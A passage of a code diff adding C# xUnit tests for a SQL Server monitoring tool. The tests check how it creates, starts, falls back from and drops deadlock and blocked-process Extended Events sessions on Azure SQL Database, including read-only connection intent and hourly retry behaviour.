+            Assert.Contains(shared, rig.Alpha.RunningOnReplica);
+            Assert.DoesNotContain(shared, rig.Alpha.RunningOnPrimary);
+        }
+
+        /* The probes ran over the registration's own connection, and a read-write one was opened for each create only. */
+        Assert.All(rig.Alpha.ReadsOf("catalog "), intent => Assert.Equal(ApplicationIntent.ReadOnly, intent));
+        Assert.All(rig.Alpha.ReadsOf("started "), intent => Assert.Equal(ApplicationIntent.ReadOnly, intent));
+        Assert.Equal(2, rig.Alpha.Opens.Count(intent => intent == ApplicationIntent.ReadWrite));
+        Assert.Equal(2, rig.Alpha.Opens.Count(intent => intent == ApplicationIntent.ReadOnly));
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_AnOwnFallback_IsCreatedOverAConnectionWithoutTheIntent_AndStartedOverTheOwnOne()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(shared);
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.RunningOnReplica.Add(shared);
+
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+
+        var own = rig.Own(AlwaysOnXeSessionKind.Deadlock);
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadWrite, "CREATE"), (ApplicationIntent.ReadOnly, "START") },
+            rig.Alpha.Statements(own));
+        Assert.Contains(own, rig.Alpha.RunningOnReplica);
+        Assert.Equal(own, rig.Service.AlwaysOnReadSessionName(rig.Server, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.Empty(rig.Alpha.Statements(shared));
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_SwitchingBack_StopsTheOwnSessionOverTheOwnConnection_ThenDropsItOverAConnectionWithoutTheIntent()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        var own = rig.Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(shared);
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.RunningOnReplica.Add(shared);
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+        Assert.Contains(own, rig.Alpha.RunningOnReplica);
+        rig.Alpha.Log.Clear();
+
+        rig.Alpha.WrongEvent.Clear();
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadOnly, "STOP"), (ApplicationIntent.ReadWrite, "DROP") },
+            rig.Alpha.Statements(own));
+        Assert.DoesNotContain(own, rig.Alpha.Definitions);
+        Assert.Equal(shared, rig.Service.AlwaysOnReadSessionName(rig.Server, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.DoesNotContain(rig.Alpha.Statements(shared), s => s.Verb is "CREATE" or "CREATE+START" or "DROP");
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_ARemovedServer_StopsItsOwnSessionOverTheOwnConnection_ThenDropsItOverAConnectionWithoutTheIntent()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+        var own = rig.Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(own);
+        rig.Alpha.RunningOnReplica.Add(own);
+        rig.Service.AlwaysOnChoices.Set(rig.Server.Id, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        await rig.Service.DropAlwaysOnOwnSessionsOfRemovedServerAsync(rig.Server, CancellationToken.None);
+
+        Assert.Equal(
+            new[] { (ApplicationIntent.ReadOnly, "STOP"), (ApplicationIntent.ReadWrite, "DROP") },
+            rig.Alpha.Statements(own));
+        Assert.DoesNotContain(own, rig.Alpha.Definitions);
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_ARemovedServer_WhoseOwnSessionDoesNotRunOnTheReplica_DropsItWithoutAStop()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+        var own = rig.Own(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Definitions.Add(own);
+        rig.Service.AlwaysOnChoices.Set(rig.Server.Id, "alpha", AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Own);
+
+        await rig.Service.DropAlwaysOnOwnSessionsOfRemovedServerAsync(rig.Server, CancellationToken.None);
+
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "DROP") }, rig.Alpha.Statements(own));
+    }
+
+    [Fact]
+    public async Task ReadOnlyIntent_AHealthyDatabase_OpensNoConnectionWithoutTheIntent()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: true);
+        foreach (var kind in Kinds)
+        {
+            rig.Alpha.Definitions.Add(Shared(kind));
+            rig.Alpha.RunningOnReplica.Add(Shared(kind));
+        }
+
+        await rig.EnsureBothAsync();
+
+        Assert.All(rig.Alpha.Opens, intent => Assert.Equal(ApplicationIntent.ReadOnly, intent));
+        Assert.DoesNotContain(rig.Alpha.Log, e => e.What.StartsWith("DDL ", StringComparison.Ordinal));
+    }
+
+    /* ── A registration without it is unchanged ── */
+
+    [Fact]
+    public async Task NoIntent_EverythingGoesOverTheOwnConnection_AsItAlwaysHas()
+    {
+        var rig = await BuildRigAsync(readOnlyIntent: false);
+        var shared = Shared(AlwaysOnXeSessionKind.Deadlock);
+        var own = rig.Own(AlwaysOnXeSessionKind.Deadlock);
+
+        /* The shared create is one batch, with its start. */
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "CREATE+START") }, rig.Alpha.Statements(shared));
+
+        /* A fallback is the same, and its drop on the switch back is the one statement, with no stop first. */
+        rig.Alpha.WrongEvent.Add(shared);
+        rig.Alpha.Log.Clear();
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "CREATE+START") }, rig.Alpha.Statements(own));
+        rig.Alpha.WrongEvent.Clear();
+        rig.Alpha.Log.Clear();
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+        Assert.Equal(new[] { (ApplicationIntent.ReadWrite, "DROP") }, rig.Alpha.Statements(own));
+
+        Assert.All(rig.Alpha.Opens, intent => Assert.Equal(ApplicationIntent.ReadWrite, intent));
+        Assert.Equal(3, rig.Alpha.Opens.Count);
+    }
+
+    /* ── A read-only database reached without the intent (an Azure geo-secondary) ── */
+
+    /* Runs the body with the log at Debug, so the lines that must stay quiet are on the buffer to be counted, and puts the level back. */
+    private static async Task WithDebugLoggingAsync(Func<Task> body)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+            await body();
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    private static int CreatesSent(Pair pair) =>
+        pair.Log.Count(e => e.What.StartsWith("DDL CREATE", StringComparison.Ordinal));
+
+    [Fact]
+    public async Task AReadOnlyDatabaseWithoutTheIntent_LogsTheReadOnlyExplanationOnce_NotTheCapsSentence_AndTheRetriesStayQuiet()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(readOnlyIntent: false);
+            rig.Alpha.PrimaryIsReadOnly = true;
+
+            await rig.EnsureBothAsync();
+
+            /* One line a capture at Warning or above, each saying why and what to change. The server's own text and the caps
+               sentence, which does not apply to a read-only database, are not among them. */
+            var loud = rig.Loud();
+            Assert.Equal(2, loud.Count);
+            Assert.All(loud, line =>
+            {
+                Assert.Contains("read-only", line, StringComparison.Ordinal);
+                Assert.Contains("3906", line, StringComparison.Ordinal);
+                Assert.Contains("Register the primary database instead", line, StringComparison.Ordinal);
+                Assert.DoesNotContain(AlwaysOnXeSessions.AzureCapsSentence, line, StringComparison.Ordinal);
+            });
+            Assert.Contains(loud, line => line.Contains("deadlock", StringComparison.OrdinalIgnoreCase));
+            Assert.Contains(loud, line => line.Contains("blocked process", StringComparison.OrdinalIgnoreCase));
+
+            /* The pass an hour later asks again, and says nothing new at Warning or above. */
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.EnsureBothAsync();
+            await rig.EnsureBothAsync();
+            Assert.Empty(rig.Loud());
+        });
+    }
+
+    [Fact]
+    public async Task AReadOnlyDatabaseWithoutTheIntent_IsNotCreatedAgainWithinAnHour_ThenIsTriedAgain()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(readOnlyIntent: false);
+            rig.Alpha.PrimaryIsReadOnly = true;
+
+            await rig.EnsureBothAsync();
+            Assert.Equal(2, CreatesSent(rig.Alpha));
+
+            /* Inside the hour a cycle sends no create, reads nothing, and opens no connection. */
+            rig.Alpha.Log.Clear();
+            var opens = rig.Alpha.Opens.Count;
+            rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+            await rig.EnsureBothAsync();
+            await rig.EnsureBothAsync();
+            Assert.Empty(rig.Alpha.Log);
+            Assert.Equal(opens, rig.Alpha.Opens.Count);
+
+            /* An hour after the refusal the create is sent again, once a capture, and refused again. */
+            rig.Clock += TimeSpan.FromMinutes(1);
+            await rig.EnsureBothAsync();
+            Assert.Equal(2, CreatesSent(rig.Alpha));
+
+            /* The hold starts again from that attempt. */
+            rig.Alpha.Log.Clear();
+            await rig.EnsureBothAsync();
+            Assert.Empty(rig.Alpha.Log);
+        });
+    }
+
+    [Fact]
+    public async Task AReadOnlyDatabaseThatBecomesWritable_IsCreatedAtTheNextTryAfterTheHour_AndAnotherRefusalWarnsAgain()
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync(readOnlyIntent: false);
+            rig.Alpha.PrimaryIsReadOnly = true;
+            await rig.EnsureBothAsync();
+
+            rig.Alpha.PrimaryIsReadOnly = false;
+            rig.Clock += LongQueryTraceDatabases.RetryInterval - TimeSpan.FromMinutes(1);
+            await rig.EnsureBothAsync();
+            Assert.Empty(rig.Alpha.Definitions);
+
+            rig.Clock += TimeSpan.FromMinutes(1);
+            await rig.EnsureBothAsync();
+            Assert.Contains(Shared(AlwaysOnXeSessionKind.Deadlock), rig.Alpha.Definitions);
+            Assert.Contains(Shared(AlwaysOnXeSessionKind.BlockedProcess), rig.Alpha.Definitions);
+
+            /* A pass that got through forgets the refusal: the next one is told at Warning again, with no hour to wait. */
+            rig.Lines();
+            rig.Alpha.PrimaryIsReadOnly = true;
+            rig.Alpha.Definitions.Clear();
+            rig.Alpha.RunningOnPrimary.Clear();
+            await rig.EnsureBothAsync();
+            Assert.Equal(2, rig.Loud().Count);
+        });
+    }
+}
diff --git a/Lite.Tests/AlwaysOnXeSessionsLiteTests.cs b/Lite.Tests/AlwaysOnXeSessionsLiteTests.cs
new file mode 100644
index 0000000000..74e62875fd
--- /dev/null
+++ b/Lite.Tests/AlwaysOnXeSessionsLiteTests.cs
@@ -0,0 +1,497 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The deadlock and blocked-process sessions on Azure SQL Database (#4961). Two installs share one session name per capture,
+/// so the ensure never drops a session it did not make: a shared session that is stopped gets a start by name, one that is
+/// still unusable after that (no deadlock event, or not running) sends the install to its own session, and the read takes
+/// the name the ensure chose. The decisions run against a scripted database, so no server is needed.
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class AlwaysOnXeSessionsLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private const string InstallIdValue = "0a1b2c3d";
+
+    private readonly string _tempDir;
+    private readonly string _configDir;
+    private readonly string _dbPath;
+
+    public AlwaysOnXeSessionsLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private static string Own(AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, InstallIdValue, kind);
+
+    /// <summary>The engine's "already exists" and "already started", as the scripted database raises them.</summary>
+    private sealed class AlreadyThere : Exception
+    {
+        public AlreadyThere() : base("already there") { }
+    }
+
+    /// <summary>One Azure SQL Database as the ensure sees it: a catalog, a started-sessions DMV, and the statements sent.</summary>
+    private sealed class ScriptedDatabase : IAlwaysOnXeDatabase
+    {
+        public Dictionary<string, bool> Started { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> WrongEvent { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> HiddenFromCatalog { get; } = new(StringComparer.Ordinal);
+        public HashSet<string> HiddenFromDmv { get; } = new(StringComparer.Ordinal);
+        public List<string> Statements { get; } = new();
+        public Exception? CreateFailure { get; set; }
+        public Exception? StartFailure { get; set; }
+
+        public Task<AlwaysOnXeCatalog> ReadCatalogAsync(AlwaysOnXeSessionKind kind, string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(
+                !Started.ContainsKey(sessionName) || HiddenFromCatalog.Contains(sessionName) ? AlwaysOnXeCatalog.Missing
+                : WrongEvent.Contains(sessionName) && kind == AlwaysOnXeSessionKind.Deadlock ? AlwaysOnXeCatalog.WrongEvent
+                : AlwaysOnXeCatalog.Present);
+
+        public Task<bool> IsStartedAsync(string sessionName, CancellationToken cancellationToken) =>
+            Task.FromResult(Started.TryGetValue(sessionName, out var started) && started && !HiddenFromDmv.Contains(sessionName));
+
+        public Task ExecuteAsync(string statement, CancellationToken cancellationToken)
+        {
+            Statements.Add(statement);
+            var name = statement[(statement.IndexOf('[') + 1)..statement.IndexOf(']')];
+
+            if (statement.TrimStart().StartsWith("CREATE EVENT SESSION", StringComparison.Ordinal))
+            {
+                if (CreateFailure is not null)
+                {
+                    throw CreateFailure;
+                }
+
+                if (Started.ContainsKey(name))
+                {
+                    throw new AlreadyThere();
+                }
+
+                Started[name] = true;
+            }
+            else if (statement.StartsWith("ALTER EVENT SESSION", StringComparison.Ordinal))
+            {
+                if (StartFailure is not null)
+                {
+                    throw StartFailure;
+                }
+
+                if (Started.TryGetValue(name, out var already) && already)
+                {
+                    throw new AlreadyThere();
+                }
+
+                Started[name] = true;
+            }
+            else if (statement.StartsWith("DROP EVENT SESSION", StringComparison.Ordinal))
+            {
+                Started.Remove(name);
+            }
+
+            return Task.CompletedTask;
+        }
+
+        public bool IsAlreadyPresent(Exception exception) => exception is AlreadyThere;
+
+        public bool Sent(string prefix, string name) =>
+            Statements.Any(s => s.TrimStart().StartsWith(prefix + " [" + name + "]", StringComparison.Ordinal));
+    }
+
+    private static Task<AlwaysOnXeAzureResult> RunAsync(ScriptedDatabase database, AlwaysOnXeSessionKind kind, AlwaysOnXeChoice current) =>
+        AlwaysOnXeAzureEnsure.RunAsync(database, kind, Own(kind), current, CancellationToken.None);
+
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public async Task NoSessionAnywhere_CreatesTheSharedSession_StartedWithTheDatabase(AlwaysOnXeSessionKind kind)
+    {
+        var database = new ScriptedDatabase();
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Shared);
+
+        Assert.Equal(AlwaysOnXeChoice.Shared, result.Choice);
+        Assert.Equal(AlwaysOnXeChange.Created, result.Change);
+        var create = Assert.Single(database.Statements);
+        Assert.Contains("STARTUP_STATE = ON", create, StringComparison.Ordinal);
+        Assert.Contains("CREATE EVENT SESSION [" + AlwaysOnXeSessions.SharedNameFor(kind) + "]", create, StringComparison.Ordinal);
+    }
+
+    /* Test 15: no automatic path drops a shared-name session. */
+    [Fact]
+    public async Task DeadlockSharedSessionWithoutTheDeadlockEvent_IsNeverDropped_AndTheInstallFallsBack()
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = true;
+        database.WrongEvent.Add(shared);
+
+        var result = await RunAsync(database, AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Shared);
+
+        Assert.Equal(AlwaysOnXeChoice.Own, result.Choice);
+        Assert.Equal(AlwaysOnXeChange.FellBack, result.Change);
+        Assert.False(database.Sent("DROP EVENT SESSION", shared));
+        Assert.True(database.Started.ContainsKey(shared));
+        var create = Assert.Single(database.Statements, s => s.Contains("CREATE EVENT SESSION", StringComparison.Ordinal));
+        Assert.Contains("[" + Own(AlwaysOnXeSessionKind.Deadlock) + "]", create, StringComparison.Ordinal);
+        Assert.Contains("STARTUP_STATE = OFF", create, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public async Task SharedSessionTheLoginCannotSee_IsStartedByName_ThenNeverDropped_AndTheInstallFallsBack(AlwaysOnXeSessionKind kind)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = true;
+        database.HiddenFromCatalog.Add(shared);
+        database.HiddenFromDmv.Add(shared);
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Shared);
+
+        Assert.Equal(AlwaysOnXeChoice.Own, result.Choice);
+        Assert.True(database.Sent("ALTER EVENT SESSION", shared), "the ensure starts the shared session by name before it falls back");
+        Assert.False(database.Sent("DROP EVENT SESSION", shared));
+        Assert.True(database.Sent("CREATE EVENT SESSION", Own(kind)));
+    }
+
+    /* Test 16: a stopped shared session gets a START by name and no fallback. */
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public async Task StoppedSharedSession_GetsAStartByName_AndNoFallback(AlwaysOnXeSessionKind kind)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = false;
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Shared);
+
+        Assert.Equal(AlwaysOnXeChoice.Shared, result.Choice);
+        Assert.Equal(AlwaysOnXeChange.Started, result.Change);
+        Assert.Equal("ALTER EVENT SESSION [" + shared + "] ON DATABASE STATE = START;", Assert.Single(database.Statements));
+        Assert.True(database.Started[shared]);
+    }
+
+    /* Test 18: a shared session that reads back usable makes the install drop its fallback and switch back. */
+    [Theory]
+    [InlineData(AlwaysOnXeSessionKind.Deadlock)]
+    [InlineData(AlwaysOnXeSessionKind.BlockedProcess)]
+    public async Task InstallOnItsOwnSession_DropsItAndSwitchesBack_WhenTheSharedSessionReadsBackUsable(AlwaysOnXeSessionKind kind)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = true;
+        database.Started[Own(kind)] = true;
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Own);
+
+        Assert.Equal(AlwaysOnXeChoice.Shared, result.Choice);
+        Assert.Equal(AlwaysOnXeChange.SwitchedBack, result.Change);
+        Assert.Equal("DROP EVENT SESSION [" + Own(kind) + "] ON DATABASE;", Assert.Single(database.Statements));
+        Assert.True(database.Started.ContainsKey(shared));
+    }
+
+    [Fact]
+    public async Task InstallOnItsOwnSession_CreatesTheSharedSessionWhenItIsGone_ThenSwitchesBack()
+    {
+        var kind = AlwaysOnXeSessionKind.BlockedProcess;
+        var database = new ScriptedDatabase();
+        database.Started[Own(kind)] = true;
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Own);
+
+        Assert.Equal(AlwaysOnXeChoice.Shared, result.Choice);
+        Assert.True(database.Started[AlwaysOnXeSessions.SharedNameFor(kind)]);
+        Assert.False(database.Started.ContainsKey(Own(kind)));
+    }
+
+    [Fact]
+    public async Task InstallOnItsOwnSession_KeepsItWhileTheSharedSessionStaysUnusable_AndDropsNothing()
+    {
+        var kind = AlwaysOnXeSessionKind.Deadlock;
+        var shared = AlwaysOnXeSessions.SharedNameFor(kind);
+        var database = new ScriptedDatabase();
+        database.Started[shared] = true;
+        database.WrongEvent.Add(shared);
+        database.Started[Own(kind)] = true;
+
+        var result = await RunAsync(database, kind, AlwaysOnXeChoice.Own);
+
+        Assert.Equal(AlwaysOnXeChoice.Own, result.Choice);
+        Assert.DoesNotContain(database.Statements, s => s.StartsWith("DROP", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheOnlyDropBuilderRefusesTheSharedName_AndAnotherInstallsOwnName()
+    {
+        var kind = AlwaysOnXeSessionKind.Deadlock;
+
+        Assert.Throws<ArgumentException>(() => AlwaysOnXeSessions.BuildAzureDropSql(kind, AlwaysOnXeSessions.SharedNameFor(kind)));
+        Assert.Throws<ArgumentException>(() => AlwaysOnXeSessions.BuildAzureDropSql(kind, "PerformanceMonitor_Lite_zzzzzzzz_Deadlock"));
+        Assert.Equal("DROP EVENT SESSION [" + Own(kind) + "] ON DATABASE;", AlwaysOnXeSessions.BuildAzureDropSql(kind, Own(kind)));
+    }
+
+    [Fact]
+    public void OwnName_IsMadeFromTheProductTheIdAndTheSharedSuffix()
+    {
+        Assert.Equal("PerformanceMonitor_Lite_0a1b2c3d_Deadlock", Own(AlwaysOnXeSessionKind.Deadlock));
+        Assert.Equal("PerformanceMonitor_Darling_0a1b2c3d_BlockedProcess",
+            AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallIdValue, AlwaysOnXeSessionKind.BlockedProcess));
+        Assert.Null(AlwaysOnXeSessions.TryOwnNameFor(LongQueryCompletionsCollector.LiteProduct, null, AlwaysOnXeSessionKind.Deadlock));
+        Assert.Throws<ArgumentException>(() => AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, "NOTHEX!!", AlwaysOnXeSessionKind.Deadlock));
+    }
+
+    /* Test 27: an Azure CREATE or START that fails carries the caps sentence. */
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task FailedCreateOrStart_CarriesTheCapsSentence(bool create)
+    {
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        var database = new ScriptedDatabase();
+        if (create)
+        {
+            database.CreateFailure = new InvalidOperationException("The create was refused.");
+        }
+        else
+        {
+            database.Started[shared] = false;
+            database.StartFailure = new InvalidOperationException("The start was refused.");
+        }
+
+        var failure = await Assert.ThrowsAsync<InvalidOperationException>(
+            () => RunAsync(database, AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeChoice.Shared));
+
+        Assert.Contains(AlwaysOnXeSessions.AzureCapsSentence, AlwaysOnXeSessions.DescribeFailure(failure), StringComparison.Ordinal);
+        Assert.Contains("100 started event sessions", AlwaysOnXeSessions.AzureCapsSentence, StringComparison.Ordinal);
+        Assert.Contains("512 MB per pool", AlwaysOnXeSessions.AzureCapsSentence, StringComparison.Ordinal);
+    }
+
+    /* Test 17: the read uses the name the ensure chose. */
+    [Fact]
+    public void TheDeadlockReadNamesTheSessionTheEnsureChose_AndTheSharedNameWithNoChoice()
+    {
+        var own = Own(AlwaysOnXeSessionKind.Deadlock);
+        var ownQuery = DeadlocksCollector.Instance.BuildQuery(AzureContext(own));
+        var sharedQuery = DeadlocksCollector.Instance.BuildQuery(AzureContext(null));
+
+        Assert.Contains($"N'{own}'", ownQuery.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_Deadlock'", ownQuery.Text, StringComparison.Ordinal);
+        Assert.Contains("N'PerformanceMonitor_Deadlock'", sharedQuery.Text, StringComparison.Ordinal);
+        Assert.Throws<ArgumentException>(() => DeadlocksCollector.Instance.BuildQuery(AzureContext("PerformanceMonitor_Other")));
+    }
+
+    [Fact]
+    public void TheBlockedProcessReadNamesTheSessionTheEnsureChose_AndTheSharedNameWithNoChoice()
+    {
+        var own = Own(AlwaysOnXeSessionKind.BlockedProcess);
+        var ownQuery = BlockedProcessReportCollector.Instance.BuildQuery(AzureContext(own));
+        var sharedQuery = BlockedProcessReportCollector.Instance.BuildQuery(AzureContext(null));
+
+        Assert.Contains($"N'{own}'", ownQuery.Text, StringComparison.Ordinal);
+        Assert.DoesNotContain("N'PerformanceMonitor_BlockedProcess'", ownQuery.Text, StringComparison.Ordinal);
+        Assert.Contains("N'PerformanceMonitor_BlockedProcess'", sharedQuery.Text, StringComparison.Ordinal);
+    }
+
+    private static CollectorContext AzureContext(string? sessionName) => new()
+    {
+        ServerId = 1,
+        ServerName = "alwayson",
+        CollectionTime = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc),
+        Deltas = new DeltaCalculator(),
+        Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+        CurrentDatabaseName = "alpha",
+        AlwaysOnSessionName = sessionName,
+    };
+
+    private sealed class Rig
+    {
+        public required RemoteCollectorService Service { get; init; }
+        public required ServerConnection Server { get; init; }
+        public required ScriptedDatabase Alpha { get; init; }
+        public required ScriptedDatabase Beta { get; init; }
+    }
+
+    private async Task<Rig> BuildRigAsync()
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var server = new ServerConnection { ServerName = "alwayson.database.windows.net", DisplayName = "alwayson-" + Guid.NewGuid().ToString("N")[..8] };
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = 5;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("deadlocks", enabled: true);
+        schedules.UpdateSchedule("blocked_process_report", enabled: true);
+
+        var service = new RemoteCollectorService(
+            duckDb, servers, schedules, installIdStore: new InstallIdStore(_configDir, "test-machine", null));
+        var alpha = new ScriptedDatabase();
+        var beta = new ScriptedDatabase();
+
+        service.XeSessionDatabaseListOverrideForTests = (_, _) => Task.FromResult(new List<string> { "master", "alpha", "beta" });
+        service.AlwaysOnXeDatabaseForTests = (_, database, _) =>
+            Task.FromResult<IAlwaysOnXeDatabase>(string.Equals(database, "alpha", StringComparison.OrdinalIgnoreCase) ? alpha : beta);
+
+        return new Rig { Service = service, Server = server, Alpha = alpha, Beta = beta };
+    }
+
+    [Fact]
+    public async Task TheEnsureOfADeadlockSession_ChoosesPerDatabase_AndTheReadTakesItsNameFromTheChoice()
+    {
+        var rig = await BuildRigAsync();
+        var ownName = AlwaysOnXeSessions.OwnNameFor(LongQueryCompletionsCollector.LiteProduct, rig.Service.GetInstallId(), AlwaysOnXeSessionKind.Deadlock);
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.Deadlock);
+        rig.Alpha.Started[shared] = true;
+        rig.Alpha.WrongEvent.Add(shared);
+
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+
+        Assert.Equal(ownName,
+            rig.Service.AlwaysOnReadSessionName(rig.Server, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.Equal(shared, rig.Service.AlwaysOnReadSessionName(rig.Server, "beta", AlwaysOnXeSessionKind.Deadlock));
+        Assert.False(rig.Alpha.Sent("DROP EVENT SESSION", shared));
+        Assert.True(rig.Beta.Started[shared]);
+
+        /* The shared session is repaired from outside: the next cycle switches back and the read follows. */
+        rig.Alpha.WrongEvent.Clear();
+        await rig.Service.EnsureDeadlockXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+
+        Assert.Equal(shared, rig.Service.AlwaysOnReadSessionName(rig.Server, "alpha", AlwaysOnXeSessionKind.Deadlock));
+        Assert.False(rig.Alpha.Started.ContainsKey(ownName));
+    }
+
+    [Fact]
+    public async Task TheEnsureOfABlockedProcessSession_AStoppedSharedSessionIsStartedByName_NotReplaced()
+    {
+        var rig = await BuildRigAsync();
+        var shared = AlwaysOnXeSessions.SharedNameFor(AlwaysOnXeSessionKind.BlockedProcess);
+        rig.Alpha.Started[shared] = false;
+        rig.Beta.Started[shared] = false;
+
+        await rig.Service.EnsureBlockedProcessXeSessionAsync(rig.Server, engineEdition: 5, CancellationToken.None);
+
+        Assert.True(rig.Alpha.Started[shared]);
+        Assert.True(rig.Beta.Started[shared]);
+        Assert.Equal(shared, rig.Service.AlwaysOnReadSessionName(rig.Server, "alpha", AlwaysOnXeSessionKind.BlockedProcess));
+        Assert.DoesNotContain(rig.Alpha.Statements, s => s.Contains("CREATE EVENT SESSION", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task TheEnsureThatFailsToCreateInEveryDatabase_RaisesAnErrorThatCarriesTheCapsSentence()
+    {
+        var rig = await BuildRigAsync();
